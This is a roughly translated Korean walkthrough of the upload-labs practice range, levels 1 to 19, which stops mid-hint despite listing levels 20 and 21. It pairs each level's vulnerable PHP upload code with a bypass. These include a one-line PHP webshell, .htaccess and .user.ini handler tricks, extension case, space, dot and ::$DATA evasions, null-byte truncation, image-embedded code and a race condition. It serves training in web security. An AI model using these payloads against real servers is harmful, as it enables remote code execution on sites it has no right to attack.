Upload-labs(레벨 1-21 상세 튜토리얼) [이해하기 쉬운] [4D 튜토리얼]

발 2022-09-14 03:47:35 독서 시간: null

목차

마인드 매핑

연습 장소:

알아채다:

지식 포인트

패스-01

암호:

힌트:

문제 해결 아이디어:

패스-02

지식 포인트:

암호:

힌트: 

문제 해결 아이디어:

Pass-03(이 레벨은 스스로 업로드 랩을 구축해야 함)

암호:

힌트:

문제 해결 아이디어:

패스-04

암호:

힌트:

문제 해결 아이디어:

Pass-05(이 머신에 구축된 Upload-labs 사용 권장)

암호:

힌트:

문제 해결 아이디어:

먼저 .user.ini 업로드

phpinfo.jpg 다시 업로드

readme.php 파일 보기

패스-06

암호:

힌트:

문제 해결 아이디어:

패스-07

암호:

힌트:

문제 해결 아이디어:

패스-08

암호:

힌트:

문제 해결 아이디어:

패스-09

암호:

힌트:

문제 해결 아이디어:

패스-10 

암호:

 힌트:

문제 해결 아이디어:

패스-11

암호:

힌트:

문제 해결 아이디어:

패스-12

암호:

 힌트:

문제 해결 아이디어:

패스-13

암호:

힌트:

문제 해결 아이디어:

패스-14

암호:

힌트: 

문제 해결 아이디어:

패스-15-17

암호:

힌트:

문제 해결 아이디어:

패스-18

암호:

힌트:

문제 해결 아이디어:

패스-19

암호:

힌트:

문제 해결 아이디어:

패스-20

암호:

힌트:

패스-21

암호:

힌트:

문제 해결 아이디어:

마인드 매핑

마인드맵 공유

링크: https://pan.baidu.com/s/1N4mvnQhawhYKRHNwJDEAMw 
추출 코드: iu9g 

연습 장소:

upload-labs (이전 사격장 20단계) 1-2는 기존 사격장을 사용합니다.

upload-labs (새로운 사격장 21레벨) 3-21레벨은 새로운 사격장을 사용합니다.

​

알아채다:

<?php phpinfo();?>를 실행할 수 있습니까?

<?php eval($_POST['cmd'])?> 한 문장 트로이 목마를 실행할 수 있습니다.

이 기사는 주로 단순성을 위해 <?php phpinfo();?>를 사용합니다.

지식 포인트

$_FILES[제출된 양식 이름]

[이름]: 획득한 파일 이름

[유형]: 획득한 파일 유형(MIMETYPE)

[tmp_name]: 파일이 임시로 저장되는 경로

[오류]: 업로드 파일 오류 메시지(비어 있으면 업로드 성공)

[크기]: 업로드된 파일의 크기

Move_uploaded_file (이동해야 할 파일, 이동할 위치)

Strrchr(지정된 문자열, 일치하는 문자) -- 포인터가 지정된 문자의 위치를 ​​가리키고 다음 값을 취합니다.

Trim() -- 문자열에서 선행 및 후행 공백 제거

Rtrim() -- 오른쪽 공백 제거

Ltrim() -- 왼쪽 공백 제거

Strtolower() -- 문자열을 소문자로 변환

Str_ireplace --(변환된 문자열, 대체된 문자열, 찾을 문자열)

검색할 문자열에서 대체해야 하는 문자열을 찾아 지정된 문자열로 대체합니다.

패스-01

암호:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}

힌트:

이 패스는 js를 사용하여 클라이언트 측에서 불법 이미지를 확인합니다!

문제 해결 아이디어:

플러그인 설치 자바 스크립트 비활성화

​

한 문장으로 된 트로이 목마 파일 shell.php 작성

​

프롬프트에 따라 js 업로드 파일을 닫고 업로드 파일이 성공했는지 확인합니다.

​

개미 검을 사용하여 암호로 연결

​

​

패스-02

지식 포인트:

MIME TYPE 공통 분류

​

암호:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}

힌트: 

이 패스는 서버 측에서 데이터 패킷의 MIME를 확인합니다!

문제 해결 아이디어:

트로이 목마를 쓰다

​

PHP 파일 업로드

MIMETYPE 우회

Burpsuite 패킷 캡처 수정 유형

​

전달 릴리스 패킷

​

이미지 링크 열기

​

업로드를 수행할 수 있는 PHP 파일을 찾았습니다.

​

Pass-03(이 레벨은 스스로 업로드 랩을 구축해야 함)

업로드 실험실 리소스

링크: https://pan.baidu.com/s/1uOM7sSAFusLk-973SkZlCw 
추출 코드: ctyl 

암호:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

힌트:

이 패스는 .asp|.aspx|.php|.jsp 접미사 파일 업로드를 금지합니다!

문제 해결 아이디어:

httpd.conf 파일 아래에 코드 추가

AddType 응용 프로그램/x-httpd-php .php .phtml .php3 .php4

이 코드는 .php, .php3, .php4를 php 파일로 취급한다는 의미입니다.

phpinfo.php4 업로드

이미지 링크 열기

실행 중인 PHP 파일을 볼 수 있습니다.

패스-04

암호:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

힌트:

이 패스는 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html| .Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp |.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|. swf 접미사 파일!

문제 해결 아이디어:

.htaccess 파일 업로드

jpg 파일을 php 파일로 실행

<FilesMatch 'phpinfo.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>

그런 다음 phpinfo.jpg를 업로드합니다(접미사를 phpinfo.php에서 phpinfo.jpg로 변경).

링크 열기

Pass-05(이 머신에 구축된 Upload-labs 사용 권장)

업로드 실험실 리소스

링크: https://pan.baidu.com/s/1uOM7sSAFusLk-973SkZlCw 
추출 코드: ctyl 

암호:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

힌트:

업로드 디렉토리에 php 파일(readme.php)이 있습니다.

문제 해결 아이디어:

먼저 .user.ini 업로드

범위는 현재 폴더 및 현재 폴더의 하위 파일이며 페이지에 표시된 지정된 파일을 포함합니다.

.user.ini 콘텐츠

Auto_prepend_file=phpinfo.jpg //在页面上部显示

Auto_prepend_file=phpinfo.jpg //在页面底部部显示

phpinfo.jpg 다시 업로드

readme.php 파일 보기

패스-06

암호:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

힌트:

이 패스는 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html| .Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp |.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|. swf|.htaccess 접미사 파일!

문제 해결 아이디어:

다섯 번째 수준과 비교한 후 필터 케이스가 없음을 발견했습니다.

누락된 코드

 $file_ext = strtolower($file_ext); //转换为小写

그래서 업로드된 파일 접미사 phpinfo.Php를 수정합니다.

phpinfo.Php 업로드

링크를 열려면 마우스 오른쪽 버튼을 클릭하십시오

패스-07

암호:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

힌트:

선행 및 후행 공백 없음

누락된 코드

$file_ext = trim($file_ext); //首尾去空

우리는 공간 우회를 할 수 있습니다

문제 해결 아이디어:

BP 캡처를 위해 phpinfo.php 업로드

성공적으로 업로드한 후 마우스 오른쪽 버튼을 클릭하여 링크를 엽니다.

패스-08

암호:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

힌트:

누락된 코드

 $file_name = deldot($file_name)

 파일 이름 끝 뒤에 있는 점을 제거하지 마십시오.

그래서 포인트 우회

문제 해결 아이디어:

BP 캡처를 위한 phpinfo.php 파일 업로드

성공적으로 업로드한 후 마우스 오른쪽 버튼을 클릭하여 링크를 엽니다.

패스-09

암호:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

힌트:

누락된 코드

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

::$DATA를 추가하여 접미사 업로드

::$DATA는 스트림 전송으로 .space와 유사하게 다음 데이터를 스트림으로 처리할 수 있습니다.

문제 해결 아이디어:

BP 패킷 캡처를 위한 phpinfo.php 업로드 및 데이터 수정

링크를 열려면 마우스 오른쪽 버튼을 클릭하십시오

URL에서 ::$DATA 제거

패스-10 

암호:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

 힌트:

deldot() 함수는 뒤에서 앞으로 감지하고 끝에 있는 첫 번째 점을 감지하면 감지를 계속하지만 공백을 만나면 중지합니다.

문제 해결 아이디어:

phpinfo.php 파일 업로드, BP 패키지 캡처, 데이터 수정

파일 업로드 후 이메일로 링크 열기

패스-11

암호:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

힌트:

가로채는 파일의 접미사 이름은 위에서 비활성화된 접미사 이름과 일치합니다. 동일하게 원하면 비어 있는 것으로 변환하십시오.

모두 이중 쓰기 접미사를 사용하여 우회

문제 해결 아이디어:

phpinfo.pphphp 파일 업로드

성공적으로 업로드한 후 마우스 오른쪽 버튼을 클릭하여 링크를 엽니다.

패스-12

암호:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

 힌트:

데이터 처리 시 처리가 00에 도달하면 처리가 완료된 것으로 간주됩니다.

PHP 버전 5.3 미만

Magic_quotes_gpc=해제

문제 해결 아이디어:

phpinfo.jpg 파일을 업로드하고 BP를 사용하여 패킷을 캡처하여 데이터 수정

성공적으로 업로드한 후 마우스 오른쪽 버튼을 클릭하여 링크를 엽니다.

패스-13

암호:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

힌트:

데이터 처리 시 처리가 00에 도달하면 처리가 완료된 것으로 간주됩니다.

PHP 버전 5.3 미만

Magic_quotes_gpc=해제

문제 해결 아이디어:

phpinfo.jpg 파일을 업로드하고 BP를 사용하여 패킷을 캡처하여 데이터 수정

잘림을 위해 공백 (20)을 (00)으로 변경하십시오.

 성공적으로 업로드한 후 마우스 오른쪽 버튼을 클릭하여 링크를 엽니다.

패스-14

암호:

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

힌트: 

Jpg 형식의 이미지 파일 헤더 식별: FFD8은 FFD9로 시작하여 끝납니다.

PNG 형식 그림 파일 헤더 식별: 89 20 4E 47 0D 0A

GIF 형식의 사진 파일 헤더 식별: GIF89a GIF87a

이 수준에는 파일 포함 취약점이 있습니다. Incould는 포함된 파일을 PHP 코드로 실행할 수 있습니다.

문제 해결 아이디어:

phpinfo.gif 업로드, BP 캡처 및 데이터 수정

파일이 성공적으로 업로드되면 마우스 오른쪽 버튼을 클릭하여 링크를 엽니다.

패스-15-17

레벨 15-17은 파일의 허점을 포함하고 이미지 코드를 업로드하는 데 악용될 수 있습니다.

암호:

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

힌트:

악용 파일에는 이미지 코드를 업로드하는 취약점이 포함되어 있습니다.

문제 해결 아이디어:

사진 코드 만들기

생성된 888.jpg 이미지 코드 업로드

성공적으로 업로드한 후 마우스 오른쪽 버튼을 클릭하여 링크를 엽니다.

패스-18

암호:

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传，但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败，上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败，无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败，上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败，服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传，文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误！';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

힌트:

파일 업로드 후 접미사 이름을 판단하여 동일하면 이름을 변경합니다. 우리는 조건부로 경주할 수 있습니다

문제 해결 아이디어:

BP 발파용 파일 업로드

업로드된 PHP 파일이 나타나지만 빠르게 사라집니다.

패스-19

암호:

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传，但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败，上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败，无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败，上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败，服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传，文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误！';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

힌트:

파일을 업로드한 후 접미사 이름을 결정하고 이름을 변경할 파일을 이동합니다.

아파치 파싱 취약점

